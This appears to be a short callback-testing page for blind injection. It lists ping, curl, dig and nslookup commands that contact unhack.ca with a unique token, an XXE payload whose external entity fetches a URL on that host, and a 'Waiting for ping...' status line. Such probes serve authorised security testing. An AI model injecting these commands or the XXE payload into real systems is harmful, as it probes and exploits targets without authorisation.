$ ping -c1 -p 00401b8c8e624de9abe64934a1d47f00 unhack.ca
 
$ curl http://unhack.ca/p/401b8c8e624de9abe64934a1d47f
 
$ dig 401b8c8e624de9abe64934a1d47f @unhack.ca
 
$ dig 401b8c8e624de9abe64934a1d47f.ns.unhack.ca
 
C:\> nslookup 401b8c8e624de9abe64934a1d47f unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/401b8c8e624de9abe64934a1d47f">]>
    <foo>&xxe;</foo>
Waiting for ping...